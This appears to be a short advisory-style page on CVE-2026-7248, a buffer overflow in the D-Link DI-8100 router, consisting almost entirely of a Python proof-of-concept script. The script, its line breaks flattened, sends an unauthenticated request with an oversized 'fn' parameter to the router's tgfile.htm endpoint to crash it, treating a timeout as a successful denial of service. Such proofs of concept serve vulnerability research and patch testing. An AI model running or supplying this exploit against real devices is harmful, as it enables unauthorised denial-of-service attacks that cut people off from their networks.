CVE-2026-7248 D-Link DI-8100 缓冲区溢出漏洞

import requests def check_vulnerability(target_ip): # Target URL for the vulnerable CGI endpoint url = f"http://{target_ip}/tgfile.htm" # Create a payload to trigger the buffer overflow # Sending a long string (e.g., 1000 'A's) to the 'fn' parameter # Adjust the length based on specific buffer size analysis payload = "A" * 1000 params = { "fn": payload } try: print(f"[+] Sending payload to {url}...") # Send the request without authentication response = requests.get(url, params=params, timeout=10) # If the device crashes or returns an unexpected error, it might be vulnerable if response.status_code != 200 or not response.text: print("[!] Potential crash detected or service unavailable.") else: print(f"[-] Request returned status code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection error often indicates the service has crashed (DoS) print(f"[+] Connection failed/Timeout: Likely triggered DoS ({e})") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP check_vulnerability(target)